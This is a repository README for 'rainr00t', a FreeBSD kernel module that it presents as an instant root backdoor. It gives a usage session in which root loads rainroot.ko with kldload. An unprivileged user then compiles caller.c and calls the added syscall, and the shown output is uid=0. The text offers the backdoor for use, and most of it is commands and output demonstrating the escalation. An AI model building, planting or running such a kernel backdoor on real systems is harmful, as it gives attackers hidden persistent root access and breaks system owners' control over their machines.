Files
FreeBSD/rainroot/readme.txt
your-favorite-hacker 094b73988e add rainroot
2015-06-01 21:04:51 +02:00

31 lines
890 B
Plaintext

rainr00t
========
instant root-priv backd00r via kernelland anyone?
well this module, once loaded gives the thread/user calling instantly root, without spawning an extra
shell or alike.
usage
-----
root@crashb0x:~/gainroot # uname -a
FreeBSD crashb0x 10.1-RELEASE FreeBSD 10.1-RELEASE #0 r274401: Tue Nov 11 21:02:49 UTC 2014 root@releng1.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
root@crashb0x:~/gainroot # kldload ./rainroot.ko
root@crashb0x:~/gainroot # kldstat
Id Refs Address Size Name
1 3 0xffffffff80200000 1755658 kernel
3 1 0xffffffff81a12000 20e rainroot.ko
# userland tool, to call the newly loaded syscall (normally its syscall 210)
l00ser@crashb0x:/tmp $ gcc48 caller.c -o caller
l00ser@crashb0x:/tmp % ./caller 211
l00ser@crashb0x:/tmp % id
uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser)
author
------
dash